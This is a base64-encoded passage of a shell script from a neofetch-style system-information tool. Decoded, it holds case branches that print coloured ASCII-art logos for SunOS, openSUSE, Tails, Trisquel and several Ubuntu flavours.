ZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgIC4gICAuOyAgIC4KICAgLiAgIDo7ICA6OiAgOzogICAuCiAgIC47LiAuLiAgICAgIC4uIC47LgouLiAgLi4gICAgICAgICAgICAgLi4gIC4uCiAuOywgICAgICAgICAgICAgICAgICw7LgpFT0YKICAgICAgICA7OwoKICAgICAgICAiU3VuT1MiIHwgIlNvbGFyaXMiKQogICAgICAgICAgICBzZXRfY29sb3JzIDMgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgIGAtICAgICBgCiAgICAgICAgICBgLS0gICAgYCstICAgIC46CiAgICAgICAgICAgLis6ICBgKys6ICAtLystICAgICAuCiAgICBgLjo6YCAgLSsrL2BgOjo6YC4vKy8gIGAuLS8uCiAgICAgIGArKy8tYC5gICAgICAgICAgIGAgLysrOmAKICBgYCAgIC4vOmAgICAgICAgICAgICAgICAgLjogYC4uYC4tCmBgLi8rLzotICAgICAgICAgICAgICAgICAgICAgLSsrKzotCiAgICAtLytgICAgICAgICAgICAgICAgICAgICAgIDouCkVPRgogICAgICAgIDs7CgogICAgICAgICJvcGVuU1VTRSBMZWFwIiogfCAib3BlblNVU0VfTGVhcCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgICAgICAgIGAtKys6YAogICAgICAgICAgICAgICAuL29vb29vby8tCiAgICAgICAgICAgIGA6b29vb29vb29vb29vOi4KICAgICAgICAgIC0rb29vb29vb29vb29vb29vbystYAogICAgICAgLi9vb29vb29vb29vb29vb29vb29vb29vLy0KICAgICAgOm9vb29vb29vb29vb29vb29vb29vb29vb29vOgogICAgYCAgYC0rb29vb29vb29vb29vb29vb29vb28vLSAgIGAKIGA6b28vLSAgIC46b29vb29vb29vb29vb29vKzpgICBgLStvby8uCmAvb29vb29vOi4gICAtL29vb29vb29vb28vLiAgIC4vb29vb29vLy4KICBgOitvb29vbystYCAgYDorb29vbystICAgYDpvb29vb28rOmAKICAgICAuOm9vb29vby8uICAgLjo6YCAgIC0rb29vb29vLy4KICAgICAgICAtL29vb29vbzouICAgIC4vb29vb29vKy0KICAgICAgICAgIGA6K29vb29vKy06K29vb29vbzpgCiAgICAgICAgICAgICAuL29vb29vb29vb28vLgogICAgICAgICAgICAgICAgLS9vb29vKzpgCiAgICAgICAgICAgICAgICAgIGA6Ly4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgInQyIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNyA0CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfQpUVFRUVFRUVFRUCiAgICB0dCAgICR7YzF9MjIyJHtjMn0KICAgIHR0ICAke2MxfTIgICAyJHtjMn0KICAgIHR0ICAgICAke2MxfTIke2MyfQogICAgdHQgICAgJHtjMX0yJHtjMn0KICAgIHR0ICAke2MxfTIyMjIyJHtjMn0KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIm9wZW5TVVNFIFR1bWJsZXdlZWQiKiB8ICJvcGVuU1VTRV9UdW1ibGV3ZWVkIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuLi4uLi4KICAgICAuLGNkeHh4b2MsLiAgICAgICAgICAgICAgIC46a0tNTU1OV01NTU5rOi4KICAgIGNLTU1OME9PT0tXTU1Yby4gOyAgICAgICAgOzBNV2s6LiAgICAgIC46T01Nay4KICA7V01LOy4gICAgICAgLmxLTU1OTSwgICAgIDpOTUssICAgICAgICAgICAgIC5PTVc7CiBjTVc7ICAgICAgICAgICAgJ1dNTU1OICAgLFhNSywgICAgICAgICAgICAgICAgIG9NTScKLk1NYyAgICAgICAgICAgICAgIC4uO2wuIHhNTjogICAgICAgICAgICAgICAgICAgIEtNMAonTU0uICAgICAgICAgICAgICAgICAgICdOTU8gICAgICAgICAgICAgICAgICAgICAgb01NCi5NTSwgICAgICAgICAgICAgICAgIC5rTU1sICAgICAgICAgICAgICAgICAgICAgICB4TU4KIEtNMCAgICAgICAgICAgICAgIC5rTU0wLiAuZGw6LC4uICAgICAgICAgICAgICAgLldNZAogLlhNMC4gICAgICAgICAgICxPTU1LLCAgICBPTU1NSy4gICAgICAgICAgICAgIC5YTUsKICAgb1dNTzouICAgIC47eE5NTWssICAgICAgIE5OTk1LbC4gICAgICAgICAgLnhXTXgKICAgICA6T05NTU5YTU1NS3g7ICAgICAgICAgIC4gICx4Tk1XS2t4bGxveDBOTVdrLAogICAgICAgICAuLi4uLiAgICAgICAgICAgICAgICAgICAgLjpkT09YWEtPeGwsCkVPRgogICAgICAgIDs7CgogICAgICAgICJvcGVuc3VzZV9zbWFsbCIgfCAic3VzZV9zbWFsbCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gIF9fX19fX18KX198ICAgX18gXFwKICAgICAvIC5cXCBcXAogICAgIFxcX18vIHwKICAgX19fX19fX3wKICAgXFxfX19fX19fCl9fX19fX19fX18vCkVPRgogICAgICAgIDs7CgogICAgICAgICJvcGVuU1VTRSIqIHwgIm9wZW4gU1VTRSIqIHwgIlNVU0UiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9ICAgICAgICAgICAuO2xka08wMDAwT2tkbDsuCiAgICAgICAuO2QwMHhsOl4nJycnJydeOm9rMDBkOy4KICAgICAuZDAwbCcgICAgICAgICAgICAgICAgJ28wMGQuCiAgIC5kMEtkJyR7YzF9ICBPa3hvbDo7LC4gICAgICAgICAgJHtjMn06TzBkLgogIC5PSyR7YzF9S0tLMGtPS0tLS0tLS0tLS094bzosICAgICAgJHtjMn1sS08uCiAsMEske2MxfUtLS0tLS0tLS0tLS0tLSzBQXiR7YzJ9LCwsJHtjMX1eZHg6JHtjMn0gICAgOzAwLAouT0ske2MxfUtLS0tLS0tLS0tLS0tLS2snJHtjMn0ub09QUGIuJHtjMX0nMGsuJHtjMn0gICBjS08uCjpLSyR7YzF9S0tLS0tLS0tLS0tLS0tLOiAke2MyfWtLeC4uZGQgJHtjMX1sS2Qke2MyfSAgICdPSzoKZEtLJHtjMX1LS0tLS0tLS0tPeDBLS0tkICR7YzJ9XjBLS0tPJyAke2MxfWtLS2Mke2MyfSAgIGRLZApkS0ske2MxfUtLS0tLS0tLS0s7LjtvT0t4LC4uJHtjMn1eJHtjMX0uLjtrS0tLMC4ke2MyfSAgZEtkCjpLSyR7YzF9S0tLS0tLS0tLSzBvOy4uLl5jZHh4T0swTy9eXicgICR7YzJ9LjBLOgoga0tLJHtjMX1LS0tLS0tLS0tLS0tLMHg7LCwuLi4uLi4sO29kICAke2MyfWxLawogJzBLJHtjMX1LS0tLS0tLS0tLS0tLS0tLS0tLSzAwS0tPb14gICR7YzJ9YzAwJwogICdrSyR7YzF9S0tPeGRkeGtPTzAwMDAwT2t4b2M7JycgICAke2MyfS5kS2snCiAgICBsMEtvLiAgICAgICAgICAgICAgICAgICAgLmMwMGwnCiAgICAgJ2wwS2s6LiAgICAgICAgICAgICAgLjt4SzBsJwogICAgICAgICdsa0sweGw6OywsLCw7OmxkTzBrbCcKICAgICAgICAgICAgJ146bGR4a2tra3hkbDpeJwpFT0YKICAgICAgICA7OwoKICAgICAgICAiU3dhZ0FyY2giKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgIC47bGRrT0tYWE5OTk5YWEswT3hvYywuCiAgICxsa1hNTU5LME9ra3hra09LV01NTU1NTU1NTU07CiAnSzB4byAgLi4sOzpjOi4gICAgIGAnbEtNTU1NTTAKICAgICAubE9OTU1NTU1NJyAgICAgICAgIGBsTk1rJwoke2MyfSAgICA7V01NTU1NTU1NTU8uICAgICAgICAgICAgICAke2MxfS4uLi46Oi4uLgoke2MyfSAgICBPTU1NTU1NTU1NTU1NS2wuICAgICAgICR7YzF9Liw7Ozs7O2NjY2NjY2MsCiR7YzJ9ICAgIGAwTU1NTU1NTU1NTU1NTU0wOiAgICAgICAgICR7YzF9Li4gLmNjY2NjY2MuCiR7YzJ9ICAgICAgJ2tXTU1NTU1NTU1NTU1NTU5vLiAgICR7YzF9Liw6JyAgLmNjY2NjY2MuCiR7YzJ9ICAgICAgICBgYzBNTU1NTU1NTU1NTU1NTiwke2MxfSw6YzsgICAgOmNjY2NjYzoKJHtjMn0gY2tsLiAgICAgIGBsWE1NTU1NTU1NTVgke2MxfW9jY2NjOi4uIDtjY2NjY2NjLgoke2MyfWRNTU1NWGQsICAgICBgT01NTU1NTVdrJHtjMX1jY2M7OicnYCAsY2NjY2NjYzoKJHtjMn1YTU1NTU1NTVdLa3h4T1dNTU1NTU5vJHtjMX1jY2M7ICAgICAuY2NjY2NjY2MuCiR7YzJ9IGAnOmxkeE8wS1hYWFhYSzBPa2RvJHtjMX1jY2NjLiAgICAgOmNjY2NjY2NjLgogICAgICAgICAgICAgICAgICAgIDpjY2M6JyAgICAgYGNjY2NjY2NjOiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnJwpFT0YKICAgICAgICA7OwoKICAgICAgICAiVGFpbHMiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA1IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgYGAKICAuL3loTmgKc3l5L05zaGggICAgICAgICBgOm8vCk46ZHNOc2hoICDiloggICBgb2hOTU1kCk4tLytOc2hoICAgICAgYHlNTU1NZApOLXloTXNoaCAgICAgICB5TU1NTWQKTi1zOmhzaGggIOKWiCAgICB5TU1NTWQgc28vLy4KTi1veU5zeWggICAgICAgeU1NTU1kIGQgIE1tcy4KTjpob2hoaGQ6LiAgICAgeU1NTU1kICBzeU1NTSsKTnN5aCstLi4reSstICAgeU1NTU1kICAgOm1NTSsKK2h5LSAgICAgIC1zcy9geU1NTU0gICAgIGArZCsKICA6c3kvLiAgICAgLi95Tk1NTU1tICAgICAgYGAKICAgIC4reXMtIGA6K2hOTU1NTU1NeS9gCiAgICAgIGBoTm1tTU1NTU1NTU1NTU1NZG8uCiAgICAgICBkTU1NTU1NTU1NTU1NTU1NTU1OaDoKICAgICAgICtoTU1NTU1NTU1NTU1NTU1NTU1teS4KICAgICAgICAgLW9OTU1NTU1NTU1NTW15Ky5gCiAgICAgICAgICAgYDp5Tk1NTWRzLy5gCiAgICAgICAgICAgICAgLi8vYApFT0YKICAgICAgICA7OwoKICAgICAgICAiVHJpc3F1ZWwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDYKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICAgICAgIOKWhOKWhOKWhOKWhOKWhOKWhAogICAgICAgICAgICAgICAgICAgICAg4paE4paI4paI4paI4paI4paI4paI4paI4paI4paI4paECiAgICAgIOKWhOKWhOKWhOKWhOKWhOKWhCAgICAgICAgIOKWiOKWiOKWiOKWiOKWgCAgIOKWgOKWiOKWiOKWiOKWiAogICDiloTilojilojilojilojilojilojilojilojilojilojiloQgICAgIOKWiOKWiOKWiOKWiOKWgCAgIOKWhOKWhCDiloDilojilojilogKIOKWhOKWiOKWiOKWiOKWgOKWgCAgIOKWgOKWgOKWiOKWiOKWiOKWiCAgICAg4paI4paI4paI4paEICAg4paE4paIICAg4paI4paI4paICuKWhOKWiOKWiOKWiCAgIOKWhOKWhOKWhCAgIOKWiOKWiOKWiOKWiOKWhCAgICDiloDilojilojilojilojilojiloggICDiloTilojilojilogK4paI4paI4paIICAg4paI4paA4paA4paI4paI4paEICDilojilojilojilojilojiloQgICAgIOKWgOKWgCAgIOKWhOKWiOKWiOKWiOKWiAriloDilojilojiloggICAgICDilojilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWhOKWhCAg4paE4paE4paI4paI4paI4paI4paI4paICiR7YzF9IOKWgOKWiOKWiOKWiOKWhCAgIOKWhOKWiOKWiOKWiCAg4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paIJHtjMn3ilojilojilojilojiloAKJHtjMX0gIOKWgOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAgICDilojilojilojilojilojilojilogke2MyfeKWiOKWiOKWiOKWgOKWgOKWgAogICAg4paA4paA4paI4paI4paI4paA4paAICAgICDilojilojilojilojilojilojiloDiloAKICAgICAgICAgICAgICAg4paI4paI4paI4paI4paI4paI4paAICAg4paE4paE4paE4paECiAgICAgICAgICAgICAg4paI4paI4paI4paI4paI4paAICAg4paI4paI4paI4paI4paI4paI4paI4paICiAgICAgICAgICAgICAg4paI4paI4paI4paI4paIICAg4paI4paI4paI4paAICDiloDilojilojilogKICAgICAgICAgICAgICAg4paI4paI4paI4paI4paEICAg4paI4paI4paE4paE4paEICDilojilojilogKICAgICAgICAgICAgICAgIOKWiOKWiOKWiOKWiOKWiOKWhCAgIOKWgOKWgCAg4paE4paI4paICiAgICAgICAgICAgICAgICAgIOKWiOKWiOKWiOKWiOKWiOKWiOKWhOKWhOKWhOKWiOKWiOKWiOKWiAogICAgICAgICAgICAgICAgICAgICDiloDiloDilojilojilojilojilojiloDiloAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlVidW50dSBDaW5uYW1vbiIqIHwgIlVidW50dS1DaW5uYW1vbiIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAuLS8rb29vb29vb28rLy0uCiAgICAgICAgYDorb29vb29vb29vb29vb29vb29vKzpgCiAgICAgIC0rb29vb29vb29vb29vb29vb29vb29vb29vKy0KICAgIC5vb29vb29vb29vb29vb29vb29vJHtjMn06b2hOZCR7YzF9b29vb29vLgogICAvb29vb29vb29vb29vJHtjMn06LytvbysrOi9vaE5kJHtjMX1vb29vb29vLwogICtvb29vb29vb29vJHtjMn06b3NOZGh5eWhkTk5oKzorJHtjMX1vb29vb29vbysKIC9vb29vb29vb28ke2MyfS9kTi8ke2MxfW9vb29vb29vbyR7YzJ9L3NOTm8ke2MxfW9vb29vb29vby8KLm9vb29vb29vbyR7YzJ9b01kOiR7YzF9b29vb29vb29vb29vJHtjMn06eU15JHtjMX1vb29vb29vb28uCitvb29vbyR7YzJ9OitvL01kJHtjMX1vb29vb28ke2MyfTpzbS8ke2MxfW9vL29vbyR7YzJ9eU1vJHtjMX1vb29vb29vbysKb29vJHtjMn06c2RNZG9zTW8ke2MxfW9vb29vJHtjMn1vTk1kJHtjMX0vLyR7YzJ9ZE1kKyR7YzF9byR7YzJ9OnNvJHtjMX1vb29vb29vb28Kb29vbyR7YzJ9K3ltZG9zTW8ke2MxfW9vbyR7YzJ9K21NbSR7YzF9Ky8ke2MyfWhNTU1NTWgraHMke2MxfW9vb29vb29vbworb29vb29vJHtjMn06JHtjMX06JHtjMn0vTm06JHtjMX0vJHtjMn1oTU5vJHtjMX06eSR7YzJ9TU1NTU1NTU1NTSske2MxfW9vb29vb29vKwoub29vb29vb29vJHtjMn0vTk5NTnkke2MxfTpvJHtjMn1OTU1NTU1NTU1NTW8ke2MxfW9vb29vb29vby4KL29vb29vb29vb28ke2MyfTp5aDoke2MxfSttJHtjMn1NTU1NTU1NTU1NZC8ke2MxfW9vb29vb29vby8KICArb29vb29vb29vbyR7YzJ9KyR7YzF9L2gke2MyfW1NTU1NTU1OZHMvL28ke2MxfW9vb29vb29vKwogICAvb29vb29vb29vb29vJHtjMn0rOi8vLy86by95bU1kJHtjMX1vb29vb29vLwogICAgLm9vb29vb29vb29vb29vb29vb29vJHtjMn0vc2RoJHtjMX1vb29vb28uCiAgICAgIC0rb29vb29vb29vb29vb29vb29vb29vb29vKy0KICAgICAgICBgOitvb29vb29vb29vb29vb29vb28rOmAKICAgICAgICAgICAgLi0vK29vb29vb29vKy8tLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiVWJ1bnR1IEJ1ZGdpZSIqIHwgIlVidW50dS1CdWRnaWUiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgIC4vb3lkbU1NTU1NTW1keW8vLgogICAgICAgIDpzbU1NTU1NTU1NTU1NaHMrOisreWhzOgogICAgIGBvbU1NTU1NTU1NTU1NTitgICAgICAgICBgb2RvYAogICAgL05NTU1NTU1NTU1NTU1OLSAgICAgICAgICAgIGBzTi8KICBgaE1NTU1taGhtTU1NTU1NaCAgICAgICAgICAgICAgIHNNaGAKIC5tTW1vLSAgICAgL3lNTU1NbWAgICAgICAgICAgICAgIGBNTW0uCiBtTi8gICAgICAgeU1NTU1NTU1kLSAgICAgICAgICAgICAgTU1NbQpvTi0gICAgICAgIG9NTU1NTU1NTU1tcysvLytvKzogICAgOk1NTU1vCm0vICAgICAgICAgICtOTU1NTU1NTU1NTU1NTU1NTW0uIDpOTU1NTW0KTWAgICAgICAgICAgIC5OTU1NTU1NTU1NTU1NTU1NTm9kTU1NTU1NTQpNLSAgICAgICAgICAgIHNNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NCm1tYCAgICAgICAgICAgbU1NTU1NTU1NTU5kaGhkTk1NTU1NTU1NTW0Kb01tLyAgICAgICAgLmRNTU1NTU1NTWg6ICAgICAgOmRNTU1NTU1NbwogbU1NTnlvLzovc2RNTU1NTU1NTU0rICAgICAgICAgIHNNTU1NTW0KIC5tTU1NTU1NTU1NTU1NTU1NTU1zICAgICAgICAgICBgTk1NTW0uCiAgYGhNTU1NTU1NTU1NTS5vbysuICAgICAgICAgICAgYE1NTWhgCiAgICAvTk1NTU1NTU1NTW8gICAgICAgICAgICAgICAgc01OLwogICAgIGBvbU1NTU1NTU1NeS4gICAgICAgICAgICA6ZG1vYAogICAgICAgIDpzbU1NTU1NTU1oKy1gICAgYC46b2hzOgogICAgICAgICAgIC4vb3lkbU1NTU1NTWRoeW8vLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiVWJ1bnR1LUdOT01FIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA1IDcgNgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjM30gICAgICAgICAgLi9vLgogICAgICAgIC5vb29vb29vbwogICAgICAub29vb2BgYHNvb29vCiAgICAub29vb2AgICAgIGBzb29vbwogICAub29vYCAgICR7YzR9Lm8uJHtjM30gICBgXC9vb28uCiAgIDpvb28gICAke2M0fTpvb29vLiR7YzN9ICAgYFwvb29vLgogICAgc29vbyAgICAke2M0fWBvb29vbyR7YzN9ICAgIFwvb29vbwogICAgIFwvb29vICAgICR7YzR9YHNvb29vJHtjM30gICAgYG9vb29vCiAgICAgIGBzb29vbyAgICAke2M0fWBcL29vbyR7YzN9ICAgIGBzb29vbwoke2M0fS4vb28gICAgJHtjM31gXC9vb28gICAgJHtjNH1gL29vb28uJHtjM30gICBgL29vbwoke2M0fWBcL29vby4gICAke2MzfWAvb29vby4gICAke2M0fWAvb29vby4ke2MzfSAgIGBgCiR7YzR9ICBgXC9vb28uICAgICR7YzN9L29vb28gICAgICR7YzR9L29vb2AKJHtjNH0gICAgIGBvb29vbyAgICAke2MzfWBgICAgICR7YzR9Lm9vb28KJHtjNH0gICAgICAgYHNvb29vLiAgICAgLm9vb29gCiAgICAgICAgIGBcL29vb29vb29vb29gCiAgICAgICAgICAgIGBgXC9vb2BgCkVPRgogICAgICAgIDs7CgogICAgICAgICJVYnVudHUgTUFURSIqIHwgIlVidW50dS1NQVRFIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgIC46Lytvb3Nzc3NvbysvOi5gCiAgICAgICAgYDorc3Nzc3Nzc3Nzc3Nzc3Nzc3NzKzpgCiAgICAgIC0rc3Nzc3Nzc3Nzc3Nzc3NzJHtjMn15JHtjMX1zc3Nzc3NzcystCiAgICAub3Nzc3Nzc3Nzc3Nzc3Mke2MyfXl5JHtjMX1zcyR7YzJ9bU1taCR7YzF9c3Nzc3Nzc28uCiAgIC9zc3Nzc3Nzc3Mke2MyfXlkbU5OTm1tZCR7YzF9cyR7YzJ9bU1NTU1OZHkke2MxfXNzc3NzLwogYCtzc3Nzc3NzcyR7YzJ9aE5OZHkke2MxfXNzc3Nzc3Mke2MyfW1NTU1NTmR5JHtjMX1zc3Nzc3MrYAogK3Nzc3Nzc3Mke2MyfXlOTmgke2MxfXNzJHtjMn1obU5OTk5tJHtjMX1zJHtjMn1tTW1oJHtjMX1zJHtjMn15ZHkke2MxfXNzc3Nzc3MrCi1zc3NzcyR7YzJ9eSR7YzF9c3Mke2MyfU5tJHtjMX1zcyR7YzJ9aE5OaCR7YzF9c3Nzc3NzJHtjMn15JHtjMX1zJHtjMn1oaCR7YzF9c3Mke2MyfW1NeSR7YzF9c3Nzc3Nzcy0KK3Nzc3Mke2MyfXlNTmR5JHtjMX1zcyR7YzJ9aE1kJHtjMX1zc3Nzc3Nzc3NzJHtjMn1oTWQke2MxfXNzJHtjMn1OTiR7YzF9c3Nzc3NzcysKc3Nzc3Mke2MyfXlNTU1NTW1oJHtjMX1zc3Nzc3Nzc3Nzc3NzJHtjMn1OTSR7YzF9c3Mke2MyfWRNeSR7YzF9c3Nzc3Nzcwpzc3NzcyR7YzJ9eU1NTU1NbWh5JHtjMX1zc3Nzc3Nzc3Nzc3Mke2MyfU5NJHtjMX1zcyR7YzJ9ZE15JHtjMX1zc3Nzc3NzCitzc3NzJHtjMn15TU5keSR7YzF9c3Mke2MyfWhNZCR7YzF9c3Nzc3Nzc3NzcyR7YzJ9aE1kJHtjMX1zcyR7YzJ9Tk4ke2MxfXNzc3Nzc3MrCi1zc3NzcyR7YzJ9eSR7YzF9c3Mke2MyfU5tJHtjMX1zcyR7YzJ9aE5OaCR7YzF9c3Nzc3Nzc3Mke2MyfWRoJHtjMX1zcyR7YzJ9bU15JHtjMX1zc3Nzc3NzLQogK3Nzc3Nzc3Mke2MyfXlOTmgke2MxfXNzJHtjMn1obU5OTk5tJHtjMX1zJHtjMn1tTm1oJHtjMX1zJHtjMn15bXkke2MxfXNzc3Nzc3MrCiAgK3Nzc3Nzc3NzJHtjMn1oTk5keSR7YzF9c3Nzc3NzcyR7YzJ9bU1NTU1taHkke2MxfXNzc3NzcysKICAgL3Nzc3Nzc3NzcyR7YzJ9eWRtTk5OTm1kJHtjMX1zJHtjMn1tTU1NTU5kaCR7YzF9c3Nzc3MvCiAgICAub3Nzc3Nzc3Nzc3Nzc3Mke2MyfXl5JHtjMX1zcyR7YzJ9bU1tZHkke2MxfXNzc3Nzc28uCiAgICAgIC0rc3Nzc3Nzc3Nzc3Nzc3NzJHtjMn15JHtjMX1zc3Nzc3NzcystCiAgICAgICAgYDorc3Nzc3Nzc3Nzc3Nzc3Nzc3NzKzpgCiAgICAgICAgICAgIC46Lytvb3Nzc3NvbysvOi4KCkVPRgogICAgICAgIDs7CgogICAgICAgICJ1YnVudHVfb2xkIikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxIDcgMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgICAgICAgICAgLi8rbystCiR7YzJ9ICAgICAgICAgICAgICAgICB5eXl5eS0gJHtjMX0teXl5eXl5Kwoke2MyfSAgICAgICAgICAgICAgJHtjMn06Ly8rLy8vLy8vJHtjMX0teXl5eXl5bwoke2MzfSAgICAgICAgICAuKysgJHtjMn0uOi8rKysrKysvLSR7YzF9Litzc3MvYAoke2MzfSAgICAgICAgLjorK286ICAke2MyfS8rKysrKysrKy86LS06Ly0KJHtjM30gICAgICAgbzorbys6KysuJHtjMn1gLi5gYGAuLS9vbysrKysrLwoke2MzfSAgICAgIC46K286K28vLiR7YzJ9ICAgICAgICAgIGArc3Nzb28rLwoke2MyfSAuKysvKzoke2MzfStvbytvOmAke2MyfSAgICAgICAgICAgICAvc3Nzb29vLgoke2MyfS8rKysvLys6JHtjM31gb28rbyR7YzJ9ICAgICAgICAgICAgICAgLzo6LS06Lgoke2MyfSsvK28rKyske2MzfWBvKytvJHtjMX0gICAgICAgICAgICAgICArKy8vLy8uCiR7YzJ9IC4rKy5vKyR7YzN9Kytvbys6YCR7YzF9ICAgICAgICAgICAgIC9kZGRoaGguCiR7YzN9ICAgICAgLisubytvbzouJHtjMX0gICAgICAgICAgYG9kZGhoaGgrCiR7YzN9ICAgICAgICsuKytvK29gJHtjMX1gLWBgYGAuOm9oZGhoaGhoKwoke2MzfSAgICAgICAgYDpvKysrICR7YzF9YG9oaGhoaGhoaHlvKytvczoKJHtjM30gICAgICAgICAgLm86JHtjMX1gLnN5aGhoaGhoaC8ke2MzfS5vbysrb2AKJHtjMX0gICAgICAgICAgICAgIC9vc3l5eXl5eW8ke2MzfSsrb29vKysrLwoke2MxfSAgICAgICAgICAgICAgICAgIGBgYGBgICR7YzN9K29vKysrbzoKJHtjM30gICAgICAgICAgICAgICAgICAgICAgICAgYG9vKysuCkVPRgogICAgICAgIDs7CgogICAgICAgICJVYnVudHUgU3R1ZGlvIiogfCAiVWJ1bnR1LVN0dWRpbyIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgNiA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgLi4tOjo6Ojo6LS5gCiAgICAgICAgIGAuOisrKysrKysrKysrJHtjMn1vb28ke2MxfSsrOi5gCiAgICAgICAuLysrKysrKysrKysrKyske2MyfXNNTU1OZHlvJHtjMX0rLy4KICAgICAuKysrKysrKysrKysrKysrKyR7YzJ9b3lobU1NTU1tcyR7YzF9KysuCiAgIGAvKysrKysrKysrJHtjMn1vc3loZGRkZGh5cyR7YzF9KyR7YzJ9b3NkTU1NaCR7YzF9KysvYAogIGArKysrKysrKyske2MyfXlkTU1NTU5OTk1NTU1OZHMke2MxfSske2MyfW95eW8ke2MxfSsrKytgCiAgKysrKysrKysrJHtjMn1kTU1OaHNvJHtjMX0rKysrJHtjMn1veWROTU1tbyR7YzF9KysrKysrKytgCiA6KyR7YzJ9b2RteSR7YzF9KysrJHtjMn1vb3lzb29obU5NTU5teW9vaE1NTnMke2MxfSsrKysrKys6CiArKyR7YzJ9ZE1NbSR7YzF9KyR7YzJ9b05NZCR7YzF9Kyske2MyfXlNTU1taGhtTU1Ocyt5TU1ObyR7YzF9KysrKysrKwpgKyske2MyfU5NTXkke2MxfSske2MyfWhNTWQke2MxfSske2MyfW9NTU1zJHtjMX0rKysrJHtjMn1zTU1OJHtjMX0rKyR7YzJ9Tk1NcyR7YzF9KysrKysrKy4KYCsrJHtjMn1OTU15JHtjMX0rJHtjMn1oTU1kJHtjMX0rJHtjMn1vTU1NbyR7YzF9KysrKyR7YzJ9c01NTiR7YzF9Kyske2MyfW1NTXMke2MxfSsrKysrKysuCiArKyR7YzJ9ZE1NZCR7YzF9KyR7YzJ9b05NbSR7YzF9Kyske2MyfXlNTU5kaGhkTU1NcyR7YzF9K3kke2MyfU1NTm8ke2MxfSsrKysrKysKIDorJHtjMn1vZG15JHtjMX0rKyR7YzJ9b28ke2MxfSske2MyfXNzJHtjMX0rJHtjMn1vaE5NTU1NbWhvJHtjMX0rJHtjMn15TU1NcyR7YzF9KysrKysrKzoKICArKysrKysrKyske2MyfWhNTW1ocytvb28rb3NoTk1NbXMke2MxfSsrKysrKysrCiAgYCsrKysrKysrJHtjMn1veW1NTU1NTm1tTk1NTU1teStveXMke2MxfSsrKysrYAogICBgLysrKysrKysrKyR7YzJ9b3loZG1tbW1kaHNvK3NkTU1NcyR7YzF9KysvCiAgICAgLi8rKysrKysrKysrKysrKyske2MyfW95aGROTU1NbXMke2MxfSsrLgogICAgICAgLi8rKysrKysrKysrKysrJHtjMn1oTU1NTmR5byR7YzF9Ky8uCiAgICAgICAgIGAuOisrKysrKysrKysrJHtjMn1zc28ke2MxfSsrOi4KICAgICAgICAgICAgICAuLi06Ojo6OjotLi4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgInVidW50dV9zbWFsbCIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgXwogICAgIC0tLShfKQogXy8gIC0tLSAgXFwKKF8pIHwgICB8CiAgXFwgIC0tLSBfLwogICAgIC0tLShfKQpFT0YKICAgICAgICA7OwoKICAgICAgICAiVWJ1bnR1IiogfCAiaTNidW50dSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgNyAzCiAgICAgICAgICAgIHJlYWQgLXJkICcnIG